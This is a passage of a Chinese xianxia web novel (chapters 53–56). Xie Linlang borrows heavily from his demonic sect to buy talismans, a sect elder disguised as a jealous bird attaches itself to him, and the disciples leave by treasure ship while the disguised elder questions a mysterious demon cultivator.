那高淳秋就随着化神修士一起落了下来, 并在化神修士的引领下前往了寂夜宫的会客大殿。 这点小小的插曲并不影响谢琳琅。 他得了丹药大比的胜利后，要了翻阅寂夜宫宗门典籍的权利。 谢琳琅不算真传弟子, 即便能去藏书阁翻阅典籍, 也只能看些符合身份限制和修为阶段的大众向典籍。 但如今有了特批的权限，谢琳琅总算可以仔细阅读寂夜宫高阶修士留下的私人修行手册和四方游记，顺着这些宗门修士的脉络，一点点追溯过去寂夜宫发生过的事。 谢琳琅阅读速度极快, 他先意思意思地翻阅了筑基的资料, 然后找负责藏书阁的修士打听，如今宗门高阶修士中, 有哪些修士在结丹期写下过修行手册。 “我也要为结丹做准备了，跟着这样修行通畅的前辈学习，我的路也许能顺遂些。” 这都是人之常情, 藏书阁的修士闻言帮忙介绍了几位宗门元婴甚至是化神修士的资料，还领着谢琳琅到高阶修士留下的文书区域。 谢琳琅大喜，诚恳拜谢后立刻冲了过去。 他知道自己的翻阅记录和借阅记录一定会出现在寂夜宫高层的书案前，所以谢琳琅也不着急，就按照书架顺序，一本本读了起来。 至于高淳秋？那谁？除了乐清屏通知他要出发外的消息，其他所有人都别来打扰他！ 直到三天后，谢琳琅才被乐清屏的一纸飞书拉出了藏书阁。 乐清屏这几天心情极好，本来应啸天气势冲冲来找乐清屏的麻烦，结果乐清屏自己取回了他的傀儡，反而让应啸天倒欠了寂夜宫一个人情。 乐清屏又入账了一笔宗门贡献，还兑换了更好的材料和符文笔，准备闭关大干一场，好好研究一番谢琳琅此前说的反向符文。 她告诉了谢琳琅一个有趣的消息。 “前几天来拜访寂夜宫的高淳秋会和我们一起前往九夏山？” 谢琳琅心里还在思考着一份无名前辈的游历手册，随口问道：“他都化神期了，还要去抢琳琅道君的炼丹机缘？” 不是吧不是吧，虽然他被尊称为丹王，他也的确有能力炼制出帮助大乘期修士感受仙灵之力的仙羽丹，但要说他是整个真界最强的丹师，那就太过了。 术业有专攻，每个丹师都掌握着非常多的核心丹方和秘法，他只算最顶尖的几个人之一。 所谓道不分高低，三千大道皆通圣，只是谁先谁后的问题。 除了他之外，诸多仙门正宗里都供奉着非常优秀的丹师，谢琳琅也会定期去找这些丹师切磋学习交流，他只是这些丹师中最年轻的，才显得比较有名。 低阶弟子想要得到传承是可以理解的事，但高阶、尤其是化神甚至渡劫修士已然确定了自己未来的道路，就没必要和低阶弟子抢机缘了。 “说起来，高淳秋是谁啊？” 谢琳琅猛地反应过来，连他都没听过说的化神修士，最起码不是真界的人。 “前辈也不知道？” 乐清屏眼珠子转了转，笑吟吟地说：“据说高前辈是妖族，不知道具体原型，但能修行到化神、举止与人无异的妖族高手，最起码也有千年寿岁了吧？” 谢琳琅了然：“是妖族那边不出世的高手吗？” 妖族寿命绵长，修行速度比较慢，幼年时容易遭到猎杀，但长成后有着血脉神通，实力强悍。 大多数妖族会去真界游历，一部分天性暴虐的妖族会来魔域，还有些妖族喜欢去灵界，对比每时每刻都在与寿命争分夺秒的人族修士，妖族生性散漫自由，也许找到个喜欢的地方，随便蜗居沉眠，数百年就过去了。 “高前辈对那位琳琅道君的传承不感兴趣，但想要一种丹药，据说芥子境内可能有储藏。”乐清屏说了自己打探来的消息，“他算护卫名额，宫主已经同意了。” 谢琳琅很清楚自己的芥子境里都有什么东西，他好奇地问：“他想要什么丹药？” 乐清屏：“我也不清楚，好像是一种增加感悟和通玄的冥想用丹药。” 谢琳琅略一回忆就知道了高淳秋的目的。 他的确擅长炼制一种叫时转丹的东西，取时来运转之意，若是练习什么需要悟性啊感悟类的法术，吃一颗时转丹会有奇效。 由于是这种丹药需要一种特殊的材料，谢琳琅自己也只开炉炼制了一次，材料用完就绝版了。 他将炼制好的时转丹放出去卖了一部分，剩下一部分交给九夏山，还有几枚被他扔进芥子境里当储备了。 乐清屏：“对了，你这次获得丹药大比的胜利，也算是为我们符文房做了贡献，虽然我们不可能发贡献点什么的，但可以给你卖点符箓和阵盘，你有兴趣吗？” 女子言笑晏晏，说了一大堆，图穷匕见，表情说不出狡黠，“连妖族不出世的大妖都冒出来了，显然这次真界之行危机四伏，你要不要多准备一些？” 谢琳琅莞尔，他道：“目录拿来，我挑一挑。” 乐清屏虽然修为低，但因为有个符文房总管的师尊，哪怕师尊暂时不在，乐清屏也有极大话语权。 有她帮忙，谢琳琅看到了符文房内部更加深奥强大的符箓，有些甚至是用天材地宝或者高阶魔兽妖骨兽皮绘制而成，只是看一眼就能被上面闪烁的魔光所慑。 这是谢琳琅所不了解的领域。 看到谢琳琅脸上隐隐流露出的震撼和敬畏，乐清屏心底也很高兴，谁不喜欢自己宗门强大有威慑力呢~ “你看上哪一张了？” “兑换的贡献点价格不菲吧？” 乐清屏露齿而笑，笑容格外灿烂：“你可以贷款。” 谢琳琅：“我非真传，也能贷款吗？” 乐清屏清了清嗓子，低声道：“你可以找我们贷啊！” 正规的不能贷，走私下钱庄、额不是，是找有资质的弟子帮忙做抵押嘛。 谢琳琅心中一动：“和我详细说一说你们怎么放贷的？” 乐清屏立刻拿出了一套方案，比如谢琳琅将自己的法器和丹药抵押给乐清屏等真传弟子，贷到足够的贡献点，再购买他看好的符箓，最后连本带利还给乐清屏就行了。 听起来很简单，但弟子和弟子间的接待，需要找郑师兄签字画押，郑师兄还会从中再抽一笔贡献点当手续费。 如果谢琳琅还不上这笔债务，倒也不用担心，宗门会将他这笔债务打包卖给其他弟子，其他弟子出钱买下债务后，谢琳琅可以拿着这笔钱再想办法赚取资源还贷。 如果谢琳琅还是没能偿还债务，无所谓，等几年后宗门开山门招收弟子，作为已经入门几年的前辈，他总能忽悠到几个新入门的炼气弟子，将他们的课时点抵押，或者强制他们迈入一些垃圾债务，再获得尝试的资本。 总而言之，只要谢琳琅还活着，并愿意还钱，那么寂夜宫就会帮忙融资找钱。 谢琳琅听后嘶了一声：“原来宗门会这么帮扶弟子吗？” 如果他没亲眼看到修士直接变黑甲修士的那一幕，如果他没听红嘴雀说方师兄的事，他会不会觉得寂夜宫对修士来说简直是天堂？ 哪怕满身债务，可对修士来说，通过抵押各种东西后赚取的资源是真实的，体内的魔气和修为是真实的，境界和法力也是真实的啊！ 即便背负了巨额债务，但只要进阶成了高阶修士，就有翻盘的资本，甚至于……来日真的飞升到仙界，这种下界宗门的债务问题……哈哈违约了又如何？ 本尊已经是仙人了，你们下界的琐事竟敢来叨扰本尊，真是取死之道。 可事实呢？ 谢琳琅垂眸，所有违约的人都会被寂夜宫吞噬掉，变成一个个黑甲覆面的傀儡修士，乐清屏知道吗？洪奎知道吗？ 即便这些低阶弟子不清楚，高阶修士恐怕心里门清。 寂夜宫的护山大阵可以帮助弟子抵挡天劫，有这个借口，高阶修士就可以长时间留在宗门潜修，修着修着，即便变成黑甲修士，也没人知道。 谢琳琅抬头，正看到窗外黑瓦斜脊的屋檐，像是一把把刻刀，轻松地将宫内弟子雕刻成寂夜宫想要的模样。 许久后，他笑着说：“好，我贷。” 不入虎穴焉得虎子，也许裴霁就在这一道道锁链之中，正苦苦挣扎。 谢琳琅想，他不惧怕死亡，甚至还曾被雷劫劈了个身死道消，如今裴霁就在人间，他有何惧之？ 乐清屏大喜：“你要贷多少？” 谢琳琅反问：“你能收拢多少贡献点和课时点？” 乐清屏一愣，“你是说……？” 谢琳琅微笑道：“你所能找到的全部额度，我全要了。” 他又指了指那本高阶符箓册子，“这里面化神以下的符文，我想全包，你算一下价格吧。” 第54章 第 54 章 他怎么敢养别的鸟？ 谢琳琅签了一系列债务文件后, 手上多了一本厚厚的符箓册子。 由于他买入了大批高阶符箓，乐清屏做主送了谢琳琅一堆低阶符箓当赠品。 强大的符箓具备可怕的力量，绘制着将自身的魔气与天地之气相结合, 释放的符箓也同样能带起天地威能, 效果非常恐怖。 比如谢琳琅手上这张太阴定光符。 只要释放此符, 以他为中心方圆百米范围内, 所有人体内的经脉都会被天上太阴星斗之力禁锢。 不管修士修行的是魔气还是灵力, 都无法再使用, 从而成为待宰羔羊。 ……哦妖族除外，妖族的本体也非常强悍，炼体者也可以凭借强横的身体破局。 还有这张长生回春符，能在一瞬间怯除身上全部法术状态, 补充损失的法力, 堪称斗法神物。 更别说什么太乙紫霄雷符, 什么四象护身符等等，谢琳琅来者不拒, 全都收入囊中。 乐清屏看着薄了很多的符文房储备, 再看看谢琳琅签下的那一大堆债务，表情很精彩。 她佩服得甚至有些惶恐，“你、你欠了这么多，不会没打算还吧？” 对了, 这位是重修的大佬, 会不会眨眼间就飞升成仙，不再回来了？ 但是哦, 如果谢玉真的成仙了…… 仙人哎，只要对着他们吹一口仙气，这笔债务也可以就这么算了~ 想到这里, 乐清屏慎重地收起谢琳琅欠她的条子，这也许是她未来的护身符，可要藏好。 “咦，你怎么知道我以前欠债不还？” 谢琳琅笑着调侃道：“说起来我重修之前还留了大笔债务呢。” 但也不能全怪他，九夏山可能是看他的修为到达了一定程度，也许明年就要全力闭关潜修冲击下一个境界，于是在前一年帮他接了很多委托。 谢琳琅当时本就是摆烂的状态，又遇到天劫清算，一下子恼火了。 他索性接了更多的任务，要了一大堆天材地宝，扔进芥子境里，自己被天劫劈死，跑路了。 说起来九夏山这么早就想打开他的芥子境，是不是被一大堆债主逼得没退路了？ 谢琳琅想到这里心下冷笑。 乐清屏脸色青了白、白了青，她可怜巴巴地看着谢琳琅：“就算你要当老赖，好歹还一点吧。” 谢琳琅意味深长地说：“我对你的反效果符文研究很感兴趣。” 乐清屏大喜，虽然不明白谢琳琅为什么在意这个，但只要有能拿捏谢玉的手段就行。 “我会加快研究的。” 又是一天，宗门通知选拔的弟子集合，准备前往真界九夏山。 谢琳琅打包收拾了自己全部家当，在寂夜宫正殿前的广场上见到了几天没见的沈鹤。 沈鹤看上去很不好，脸色憔悴，连马尾都耷拉下来了。 谢琳琅正想问怎么了，就见沈鹤袖袍动了动，一只杀马特小鸟冒了出来，直接扑棱肉翅冲向谢琳琅。 谢琳琅下意识地伸出手，杀马特小鸟落在谢琳琅的手掌上，宽大的脚掌几乎覆盖了谢琳琅整只手。 小鸟居然很贴心地单腿直立，他收拢翅膀，故意抖了抖鸟头上那几根杀马特鸟毛，挺起毛茸茸的胸膛，显得精神抖擞。 他还将尽量压平灰黑色的、明显还是幼崽的绒羽，利用羽毛上的光泽反射自然光，竟硬是让羽毛上多了一层漂亮的深蓝色流光。 沈鹤本来发现杀马特夜前辈冲向谢琳琅，还有些慌乱，可等他看到幼鸟乖巧地站在谢琳琅的手心后，表情古怪起来。 “沈师弟。” 谢琳琅招呼沈鹤，他仔细端详手中这只小鸟，也许是他的错觉，他是不是在哪里见过这只鸟？ “这是你养的灵兽？” 沈鹤神情微妙，他提醒谢琳琅：“这是林郁师尊交给我的夜前辈，据说是宗门前辈的灵兽，会和我们一起去真界九夏山。” 谢琳琅听后面上不动声色，心里一沉。 他立刻觉得手上托着的不是什么杀马特幼鸟，而是一位最少元婴甚至化神的大佬。 “原来是夜前辈。”谢琳琅脸上笑容越发温和，他微微低头，“弟子无状，还请前辈见谅。” 杀马特小鸟仰着脑袋，他眨了眨鲜红色的眼睛，本来充满血色的、杀气腾腾的眼眸竟显得纯澈乖巧，红色眼眸像是红宝石般亮晶晶的。 杀马特小鸟歪头看着谢琳琅，仿佛听不懂谢琳琅在说什么。 沈鹤心中发苦，他低声道：“夜前辈？夜前辈？这是谢师兄，好了，还请您回来吧。” 然而杀马特小鸟压根不理会沈鹤，竟轻轻跳了一下，落在了谢琳琅的肩膀上，甚至收起后腿，窝了下来！！ 谢琳琅脸上的笑容有些僵硬，但下一秒他就温和地说：“没事，既然夜前辈与我有缘，就随他去吧，对了，林前辈有说什么注意事项吗？” 沈鹤无奈地说：“师尊给了我一个鸟架子，还给了一些饲料，不过据我观察，他似乎更喜欢吃当天刚炼制出来的丹药。” 他这么说着递给了谢琳琅一个玉简，上面记录了杀马特小鸟的口味，比如爱吃高级饲料丸，爱喝炼丹时蒸腾出的丹香水，比如最近喜欢睡在丹炉里等等。 谢琳琅皱眉：“我只有一个刚兑换的筑基丹炉，还未采撷天地灵火。” 低阶丹药用修士自带的真火即可，可炼制高端丹药必须用天地灵火才能更好的激发材料的特性。 这杀马特的夜前辈喜欢睡丹炉，也许他是火属性灵鸟，以天地灵火为被，自然喜欢睡丹炉。 沈鹤耸肩：“我也没有灵火，但我看夜前辈睡得还不错。” 就在他们俩聊着夜前辈时，杀马特小鸟就窝在谢琳琅肩膀上，一会观察沈鹤，一会看谢琳琅。 当谢琳琅和沈鹤越凑越近，比如沈鹤想压低声音说一下最近找宗门渡劫期前辈帮忙占卜的事时，杀马特小鸟立刻扯着破锣嗓子啾啾叫了起来。 谢琳琅不明所以，沈鹤却条件反射急速后撤，并做防护姿势。 杀马特小鸟又安静了。 “沈师弟？” “……额，没什么，夜前辈有时候会突然考验我的战斗水平。” 谢琳琅皱眉，这位杀马特的夜前辈会突然攻击沈鹤？ 那沈鹤岂不是很危险？ “我看夜前辈性子挺温和沉稳的，甚喜之。” 谢琳琅试探着伸手，放在杀马特小鸟面前。 沈鹤的心都提到嗓子眼里，他想到上次倒霉蛋庞三鲜的遭遇，为谢琳琅捏了一把汗。 然而出乎沈鹤的预料，夜前辈非常温顺地用鸟喙碰了碰谢琳琅的手指，还主动侧头，用脑袋顶了顶谢琳琅的手心。 沈鹤：“……” 不是，这区别对待也太明显了吧？为什么啊？ 谢琳琅有些诧异，这和沈鹤说的不一样啊。 在沈鹤口中，夜前辈性子狷狂，随便用鸟喙戳人，杀伤力可怕，但现在看来就是一只乖巧可爱的小鸟。 谢琳琅拿出了一个驯兽袋：“正好我这里还养着一群红嘴雀。” 鸟和鸟总会有一些共同鸟言吧？ 在夜前辈还没反应过来之前，谢琳琅非常顺手地将夜前辈塞进了驯兽袋里：“也给你添点伙伴。” 杀马特小鸟一不留神间，就被无数红嘴雀围了上来。 “谢谢送新伙伴来了。” “是没见过的。” “不是流萤岛培养的吗？” “从外面来的。” “一定很寂寞。” “来，我们一起温暖它！” 瞬息间，这群红嘴雀挤挤挨挨地凑到杀马特小鸟身边，试图将自己身上的温暖和友善传递到杀马特小鸟身上。 但被这群毛茸茸的小鸟围在中心，杀马特的夜前辈……好吧，就是裴寂夜满脑子只有一个念头：谢玉居然养了一大群鸟？他怎么敢养别的鸟？他怎么能有别的鸟？ 一瞬间，杀马特的夜前辈全身绒毛变成了坚硬的钢针，对着这群红嘴雀露出了狰狞恐怖的嘴脸。 眼瞅着谢琳琅干脆利落地将杀马特的夜前辈塞进驯兽袋里，沈鹤松了口气。 随即他提醒谢琳琅：“夜前辈实力高强，会撕破驯兽袋，还会将同在驯兽袋的其他灵兽狠狠欺负一番。” 沈鹤和青焰豹的关系本来不温不火，拜杀马特的夜前辈所赐，豹子对沈鹤的好感度快速增高——因为他们俩都是被可怕的夜前辈欺负的小可怜。 谢琳琅不相信：“好歹是宗门前辈，不至于和一群雀子过不去吧？” 他这么说着，还是打开了驯兽袋。 毕竟是方师兄留给他的雀子，万一被杀马特的夜前辈当零嘴吃了就尴尬了。 只是下一秒，谢琳琅刚用神识扫了一遍驯兽袋，整个人就呆若木鸡。 红嘴雀是黑灰色雀子，鸟喙赤红，遂叫红嘴雀。 然而现在这群雀子身上黑灰色的羽毛全都被鸟暴力啄光了，一个个雀子仿佛是一个个乱蹦的烤乳鸽，正在驯兽袋里哭天喊地。 这位夜前辈竟然将所有雀子的毛都拔光了？！ 似乎发现了谢琳琅的注意力正在驯兽袋里，本来正嚣张地一爪子摁住某只雀子，并疯狂用嘴巴啄毛的杀马特夜前辈突然松开爪子，猛地后跳，单腿直立，低头梳理羽毛，一副与我无关的样子。 雀子们嗷嚎大哭，扑棱着肉翅当走地鸡乱窜，仿佛世界末日。 呜呜呜呜没了漂亮的毛毛，它们没法飞了！ 谢琳琅久久地沉默着，半晌，他将杀马特小鸟取了出来，又往驯兽袋里洒了一些回春丹和高级饲料丸，还留了一些促进毛发生长、美丽羽毛的药膏。 沈鹤注意到谢琳琅又取出了杀马特的夜前辈，立刻明白了什么。 “谢师兄，你的雀子还好吗？” “闭嘴。” 第55章 第 55 章 “夜前辈自便吧，沈师弟…… 很快, 炼气弟子和筑基弟子都到齐了。 他们在三名金丹弟子的带领下，来到寂夜宫一个比较宽阔的广场上，广场上空居然飘浮着一艘宝船。 寂夜宫靠海, 宫内弟子需要前往南部海域探险、击杀魔兽、搜索材料, 大部分弟子都有一二飞梭类的代步法器, 并掌握一定维修技巧。 如今寂夜宫宗门集体出门, 自然不会让弟子们用自己的飞梭。 带队的三名金丹修士里, 其中一人笑着对低阶弟子介绍道：“这是宗门最小型的寂夜宝船, 具备强大的防护力，我们乘坐宝船前往真界，除了我们以外，化神和渡劫的前辈已经登船了, 他们的舱室都在甲板上层, 我等在甲板下方, 你们不要惊扰到宗门前辈。” 甲板上的舱室风景好，但也危险。 遇到敌袭, 这些高阶修士要快速冲出御敌, 低阶弟子倒是要藏在更结实的舱室内躲避危险，才有此安排。 “一层有公共炼丹室、聊天室和观看风景的赏景花园，你们可以在此走动，但不要上二层, 知道吗？” 炼气和筑基弟子纷纷点头, 表示明白。 将事情说清楚后，金丹弟子带着众人登上宝船, 分好舱室后，众人各自散开。 谢琳琅没有回舱室，而是站在船尾的位置, 尽量从高处俯瞰寂夜宫部分宫殿的布局。 他最近翻阅的宗门长辈留下的典籍，也有不少聪颖的魔修发现了寂夜宫内部的端倪。 比如有个号青都的修士就直言不讳地指出，整个寂夜宫的建筑轮廓，放到符箓里，算是一个人为制造的封闭而杀机四伏的灭字结构。 所有在寂夜宫修行的修士，最终都会被“灭”入宫内。 不过翻完那本青都修士的修行笔记，谢琳琅也只找到了这么一句话，因为下一句青都修士就违和感超重地转移到了对天劫的抵抗、思考和处理上了。 谢琳琅不知道这位号青都的修士是否还存在，但他名义上属符文房，又买了一大堆符文，自然得了不少符箓相关资料和书籍。 此刻他俯瞰着寂夜宫的宫殿结构，在心里默默和自己看过的符文做对比。 “唧唧？” 站在他肩膀上的杀马特小鸟突然叫了两声，像是在问谢琳琅看什么。 谢琳琅没有理会这只鸟。 既然这位疑似化神期的大佬非要装一只不会说话的鸟，那他就将对方当鸟来看呗。 杀马特小鸟叫了几声，发现谢琳琅不理他，居然得寸进尺，试探着伸出脑袋，想要用鸟喙轻轻去碰谢琳琅的脸颊。 谢琳琅轻易捏住了杀马特小鸟的鸟喙。 裴寂夜正想啾啾，下一秒，发现谢琳琅手指微微用力，别开了他的鸟喙，还给他塞进了一颗丹药？ 嗯？让本尊尝尝，有什么丹药能让本尊安静闭嘴…… 丹药入口后化为一缕轻柔绵软的水流，直接涌入了丹田紫府，一瞬间，裴寂夜甚至隐隐与藏匿在寂夜宫深处的本体产生了共鸣。 他的神魂飘飘欲飞，仿佛进入了九天之外的极乐之境，快乐、欢喜、高兴、欣欣然的情绪充盈肺腑，整个人陷入了极度愉悦和快乐的状态中。 裴寂夜大骇，这是什么丹药啊？他怎么不知道？ 他想要屏息凝神摒除这种情绪的浸染，可由于这股情绪对他没有任何害处，甚至于……他常年郁结于心，心头萦绕着愤恨和不甘，如今得了这股喷涌而出的欣然欢喜之情，反而能纾解他的情绪，甚至让他禁锢了很久的修为和境界都有所松动！ 于是裴寂夜只能咬着牙、耐着性子慢慢感悟这股突如其来的奇异情绪，尽量舒缓并净化体内长久以来躁动的魔气。 谢琳琅侧头看杀马特小鸟。 灰黑色的幼鸟双目紧闭，身上萦绕着丝丝缕缕浓烈的黑紫色魔气，魔气似乎很淡很薄，可唯有眼力极高的人才能看出，这魔气质量精纯而深邃，最起码也是化神甚至是渡劫期大能才能有的水平。 “谢师兄？” 沈鹤的声音从不远处传来，马尾少年离了杀马特夜前辈，似乎整个人都活泛了。 他语气轻快地说：“我去看了舱室，房间不大，但足够我们静修了，我找洪师兄打探了一番，从寂夜宫去九夏山要大概一个月路程，先航行一周抵达界门，期间宝船会绕路去一些出产材料的山林之地，我们得动手搜集些材料，不仅可以供应路上炼丹，也能去真界贩卖后换些灵石。” 谢琳琅看向沈鹤：“九夏山在真界中心区域，从界门去九夏山，半个月时间可不够。” 沈鹤解释：“洪师兄说，寂夜宫找了门路，交了一笔钱，可以走梦华仙门的传送阵。” 也就是说，进入真界后，寂夜宫弟子就不再坐飞船，而是直接走传送阵，短时内传送到大陆中部区域，等抵达九夏山势力范围后再坐船？ 谢琳琅一想也对，寂夜宫的宫主还在真界的通缉榜单上呢，就算他们通过天魅宗找了关系和门路，也不能过于招摇，直接一路开宝船冲过去。 沈鹤的目光落在谢琳琅肩膀上的杀马特小鸟身上，他发现灰黑色的幼鸟似乎在闭目修炼，身上魔气流动诡异。 “……夜前辈怎么了？” “他在修行，放心吧，他一时半会顾不上我们。” 谢琳琅委婉地提醒沈鹤，“但在前辈面前，还是要尊敬慎重。” 沈鹤心领神会，这是可以谈点事情，不过要注意遮掩对吧？ “我昨日在金翎前辈的指引下，拜访了宗门擅长卜算的渡劫前辈，无阳真人。” 沈鹤压低声音，神色有些古怪，“我请无阳真人帮忙卜算血脉亲人，无阳真人算了一番后，说了几句话。” 谢琳琅立刻侧耳倾听：“什么话？” 帮助沈鹤寻找家人，也是谢琳琅需要偿还的因果之一。 “他说我身上因果交缠，血脉亲人不仅仅是我以为的那些。” 沈鹤愁眉苦脸，“他还说我的亲人就在我身边，又说我不需要操心太多，只要慢慢修行，时间会解决一切。” 谢琳琅闻言皱眉：“时间会解决一切？难道是修士寿数绵长，你活了很久，你的亲人都被你熬死了？” 那的确算是解决了一切，在天道这边也算清了血脉因果，可对于想要追溯血脉源头的沈鹤来说，并不是一个好结果。 “是啊，无阳真人还说，我与家人的因果断了两次。” “什么？血脉亲缘还能断两次？” 谢琳琅满头雾水：“是指你的血脉变了？” 对修士来说会有这种情况，比如突然觉醒了什么上古妖族啊魔神啊的血脉，从此转而继承了上古传承，可是变了两次？ “……你是转世重修？” 谢琳琅的心砰砰跳了起来，难道沈鹤真的是裴霁的……？ 沈鹤摇头：“无阳真人说不是。” 谢琳琅的脸色顿时僵硬了一瞬。 他犹自有些不甘心：“道从金丹期，也许你结丹了就会想起过去的记忆了。” 沈鹤挠头：“到时候再说吧，但按照无阳真人的说法，我的亲人一直在我身边，我思来想去就是爷爷送我的玉佩了。” 他坦然地看着谢琳琅，“你知道些什么吗？” 您使用玉佩时，是否遇到什么奇异之处？ 谢琳琅摇头：“没有，一切正常，最起码符合我所知道的流程。” 沈鹤有点烦躁：“那指的是谁？难不成是庞师兄？” 怎么可能？庞师兄的父亲的确招聘还照顾了他爷爷，但他们根本没有关系！就是单纯的老板和员工关系！ 谢琳琅：“你有问过你爷爷吗？” 沈鹤：“我有拜托庞师兄给爷爷去信，但还没有回信。” 马尾少年叹了口气，从怀里拿出了一个小布兜，从中取出了一个薄薄的长方形硬纸片：“这是无阳真人将占卜用的蓍草和卦象凝固成了拓片，还施了法术，说只要拓片碰到与我有关的人，卦象就会发光……” 他这么说着，张开手，将长方形的拓片交给谢琳琅。 谢琳琅拿起来仔细看，只见拓片上凝固着几根蓍草，组成了一个奇异的卦象。 而此刻，这卦象正在微微发光，像是有无形的力量从中绽放出来一样。 谢琳琅和沈鹤面面相觑。 谢琳琅不确定地说：“我？我与你的确有些因果……” 他用了沈鹤的渡劫大妖鹤骨为基，重塑真身，若是那鹤骨的主人曾与沈鹤的先辈有着深厚关系，算下来谢琳琅还真是沈鹤的长辈了。 沈鹤也这么想，正要拿回拓片，突然谢琳琅肩膀上的杀马特小鸟骤然睁开眼睛，鲜红色的眼睛杀气腾腾地扫了一眼沈鹤和谢琳琅的距离，发出了低沉沙哑的啾啾声。 紧接着，杀马特小鸟原地起跳，一头撞在了谢琳琅手里的拓片上。 谢琳琅下意识地松开手，而杀马特小鸟半空用肉翅翻身，一个360°旋转，再度用爪子拍飞拓片。 拓片继续放出微光。 沈鹤下意识地冲出去接住了拓片，而杀马特小鸟则借力跳回了谢琳琅的肩膀。 他发出了柔软的啾啾声，还碰了碰鸟喙，似乎在说，刚才是什么东西，还想吃。 谢琳琅皱眉：“为什么夜前辈对沈师弟这么重的恶意？” 杀马特小鸟歪头，装听不懂。 谢琳琅抬手，像是拂去肩膀尘埃一样将杀马特小鸟撵走了。 杀马特小鸟下意识地扑棱肉翅飞落在甲板上。 谢琳琅冷着眉眼，淡淡道：“夜前辈自便吧，沈师弟，我们走。” 他拉着沈鹤，转头走进了船舱。 第56章 第 56 章 此獠言辞如刀，是个狠角…… 裴寂夜呆若木鸡。 虽然他现在是一只杀马特鸟, 发呆后的确显得很蠢。 可比起之前在沈鹤面前的凶狠和在谢琳琅面前的乖巧，此刻的杀马特鸟有种遭到世事暴击的懵逼。 谢玉居然敢将他丢下来？他甚至选了沈鹤不选我？ 裴寂夜心底溢满了悲怆。 凭什么啊，他都吃代餐了, 怎么代餐和正主一样, 最后也选了别人？ ——他也不想想, 谢琳琅认识沈鹤多久, 见到他这只鸟有多久？ 当初裴寂夜听闻谢琳琅与他人结为道侣, 最初的确愤懑悲痛, 甚至拒绝去听关于琳琅道具的任何信息。 可是后来天长日久，他在魔修这边混得时间长了，听了魔修的诸如“天下没有挖不动的墙角”“不能便宜了那个取走你心上人的混蛋”“只要没有明确拒绝就还有希望”这些不要脸、自我感觉爆棚的话，裴寂夜也曾在心底升起过几分妄想。 也许师弟移情别恋喜欢别人了, 可、可他们师兄弟在一起这么多年, 总是有些旧情的, 他要不要再找师弟来个破镜重圆？万一成功了呢？ 可是没等裴寂夜开始行动，他就接到消息, 说琳琅道君的另一半是个普通人, 短短十余年不到，对方就已经死了。 ——玄魄剑内的力量撑不了太久，这已经是谢琳琅尽最大可能延续时间了。 于是裴寂夜反而彻底放弃了。 活人怎么和死人争？尤其还是和谢琳琅结为道侣的、寿如朝露般短暂的普通人，根本没有可比性啊！ ……那、那还不如维持自己也是死亡状态呢~ 裴寂夜不甘心地想, 最起码他和那个什么道侣都是死人, 他还是先来者，最起码在师弟心中, 他应该不逊色后来的道侣……吧？ 如今这谢玉很可能是当年谢琳琅家族的后辈子弟，交付给李平湖照料，大概率不是谢琳琅的转世。 可裴寂夜也只是想稍微看看谢玉的脸庞, 回忆一下当年和师弟的快乐生活而已。 但怎么连谢玉都嫌弃他啊。 那沈鹤有什么好？所以沈鹤怎么还没死？ 裴寂夜心底一会弥漫着杀气，一会又百转愁肠心中郁郁，整只鸟的情绪扭曲复杂如调色盘，丰富极了。 他一只鸟在船尾发呆，连宝船启动并离开了寂夜宫都没注意。 就在此时，一个略显温柔清朗的声音在裴寂夜身侧不远处响起。 “道友缘何大愤大悲？七情伤身，还望道友多多注意。” 杀马特小鸟的大爪子抓着船尾边沿的栏杆，单腿直立，恹恹地抬眸看去。 来人一身天蓝色轻纱长袍，蓝白双色长发混杂着散在脑后，他有着一双非常美丽的蓝色眼睛，整个人如白雪般纯澈，看过来的眼眸中满是关切和担忧。 裴寂夜心里哦哟了一声，是高淳秋。 说实话，在高淳秋找上门后，裴寂夜也派人查了查妖族这些年活跃修士的信息，并未在其中找到高淳秋的名字。 寂夜宫的历史足够长，哪怕一些妖族大佬闭关潜修成百上千年，宫内也有足够多的记载，裴寂夜也没在宫内历史记载中找到名叫高淳秋的妖族修士。 要么这名字是假的，要么高淳秋的面皮是假的。 裴寂夜只能确定一件事，高淳秋一定是妖族修士。 正因为高淳秋的身份存疑，所以裴寂夜同意了对方想要利用寂夜宫的名额进入九夏山、参与琳琅道君芥子境之争的事。 反正裴寂夜也打算亲自去一趟，那不如将危险放在眼皮子底下。 裴寂夜敷衍一样啾啾了两声。 但高淳秋像是听懂了，他温和地说：“是我多管闲事了，但道友的情绪过于激烈，哪怕我在上层静室，也能清晰地听到，是以过来查看一二。” 裴寂夜悚然一惊，他的情绪会被人听到？ 等等，高淳秋是妖族…… “你也是禽妖？” 裴寂夜用鸟语叽叽喳喳，高淳秋笑着点头。 “我传承上古毕方血脉，但血脉不太纯粹，不知道道友是何跟脚？” “……谁知道，可能是夜鹭吧。” 裴寂夜随口一说，高淳秋竟真的细细打量裴寂夜的外形，缓缓道：“的确，颈长而弯，重心偏后，爪大而利，上覆鳞片，也许道友真的具有水鸟的特性。” 顿了顿，高淳秋似乎很好奇地问：“道友并非纯粹的妖族吗？连自己的特性和血脉都不清楚？” 裴寂夜歪了歪脖子，鲜红色的眼睛盯着高淳秋，轻轻说：“你也一样。” 只有觉醒了妖族血脉的修士，才会这么品评自己的血脉来源。 正宗的妖族才不会觉得自己的体型有哪里不对，只会觉得哪里都好！ 高淳秋脸上的笑容微微一僵，轻叹道：“被道友看出来了，是我冒昧。” 他没有再说妖族真身的问题，而是委婉地提醒裴寂夜：“还请道友稍微收敛一下奔涌的情绪，按照寂夜宫安排的路线，我们很快要进入逆水沼泽，这边生长着一种特殊蛇类，可能会被道友情绪浸染发狂，攻击宝船……” 裴寂夜当然知道宝船路线，甚至于让宝船经过逆水沼泽还是他定的，因为他要随船而行，他想吃蛇！ “你不吃吗？对禽妖来说，那种蛇类的口感非常好。” 裴寂夜却不放过高淳秋，杀马特鸟儿歪着脑袋，上面支棱着的黑色长毛抖了抖，像是隐藏在阴影中的暗夜杀手，发现了目标的弱点。 “你刚转化为妖族？可你都化神期了，应该早就习惯妖族特性了。” 杀马特鸟儿的声音沙哑低沉，听起来像是啾啾啾，可在高淳秋耳中却仿佛死亡的剁剁剁。 “你应该是仙门正宗的修士，突然转为妖族，突然跑到寂夜宫，还说要去九夏山参与琳琅道君的芥子境选拔，你到底是为了芥子境里的丹药，还是为了这一船的弟子？” 高淳秋的脸色越发苍白，他本就皮肤白皙冰冷，一头蓝白长发自然散落，让他看起来仿佛冰雪做成的，此刻高淳秋身上散发着如冰凌般刺骨的冷意。 他面无表情地说：“道友，在下能随船而行，是得了贵派宫主的同意。” 